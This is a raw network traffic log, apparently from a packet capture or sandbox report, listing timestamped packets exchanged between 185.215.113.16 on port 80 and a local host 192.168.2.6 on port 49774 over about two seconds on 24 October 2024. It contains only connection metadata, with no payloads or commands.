Oct 24, 2024 04:57:57.591228008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591238022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591248989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591258049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591269016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591298103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.591329098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.591348886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.622942924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.622982025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.622992039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.623155117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.669306993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.669338942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.669352055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.669425011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.710400105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710416079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710438013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710449934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710460901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710477114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710489035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710603952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.710783958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.710856915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710867882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.710902929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.742216110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.742228985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.742239952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.742304087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.788558960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.788574934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.788585901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.788656950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.829596996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.829621077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.829632044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.829653978 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.829672098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.829711914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.829725027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.829736948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.829778910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.861555099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.861566067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.861583948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.861596107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.861608028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.861618996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.861658096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.907711983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.907763004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.907773018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.907784939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.907850027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.948944092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.948972940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.948985100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.949002028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.949019909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.949019909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.949032068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.949043036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.949043036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.949055910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.949073076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.949094057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.980846882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.980865955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.980876923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.980889082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:57.980917931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:57.980942011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.026999950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.027018070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.027031898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.027118921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.250817060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250830889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250838995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250852108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250859976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250879049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250885010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.250891924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250896931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250902891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250912905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.250929117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.250957966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251000881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251012087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251051903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251086950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251097918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251133919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251419067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251432896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251441956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251452923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251457930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251477003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251879930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251892090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251904011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251916885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251918077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251936913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251951933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251957893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251964092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251975060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.251977921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.251986980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.252002954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.252033949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.252084017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.252114058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.252125025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.252166033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.265562057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.265588999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.265599012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.265611887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.265610933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.265661001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.306850910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.306866884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.306888103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.306901932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.306911945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.306924105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.307159901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.307271004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.307285070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.307297945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.307354927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.307404995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.339721918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.339842081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.339859962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.339906931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.385224104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.385236979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.385373116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.385375023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.385385036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.385426044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.426306963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426326990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426348925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426367998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426372051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.426389933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426402092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426410913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.426414013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426425934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426439047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.426449060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.426491976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.458115101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.458137989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.458156109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.458216906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.458230972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.504151106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.504168987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.504180908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.504395962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.545537949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545555115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545568943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545635939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545648098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.545649052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545670986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545681953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545695066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545708895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.545708895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.545728922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.545751095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.546237946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.546263933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.546324968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.577373981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.577394962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.577405930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.577507019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.623754978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.623925924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.623980045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.623992920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.624043941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.665000916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665016890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665028095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665038109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665047884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665059090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665128946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.665169954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.665364027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665374041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665384054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.665436029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.696652889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.696666956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.696677923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.696743011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.696794987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.742095947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.742110968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.742122889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.742207050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.742841959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.742907047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.742914915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.742925882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.742979050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.785034895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785051107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785062075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785069942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785126925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785142899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785279989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.785279989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.785300970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785316944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785331011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.785362959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.816071987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.816118956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.816143036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.816155910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.816191912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.816201925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.861571074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.862138987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.862257957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.862297058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.862307072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.862896919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.862936020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.862956047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.863043070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.863081932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.863091946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.904234886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.904268980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.904297113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.904325008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:58.904388905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:58.904426098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.054673910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054692030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054754019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054765940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054776907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054780006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.054789066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054800987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054807901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054817915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.054820061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.054848909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.054862976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.055095911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055114031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055125952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055138111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055155039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055166006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055166006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.055166006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.055179119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055190086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055202961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.055205107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.055228949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.055247068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.056016922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.056029081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.056040049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.056050062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.056102991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.101049900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.101098061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.101423979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.143153906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143282890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143340111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143340111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.143397093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143438101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143444061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.143491030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143521070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143538952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.143553972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143587112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.143596888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.173850060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.173882961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.173926115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.214011908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.214056969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.214076996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.253655910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.262379885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262413025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262449026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262464046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.262502909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262537003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262548923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.262572050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262615919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.262794971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262829065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262864113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.262876987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.263075113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.263108969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.263123989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.263142109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.263179064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:59.333226919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:59.333251953 CEST	80	49774	185.215.113.16	192.168.2.6
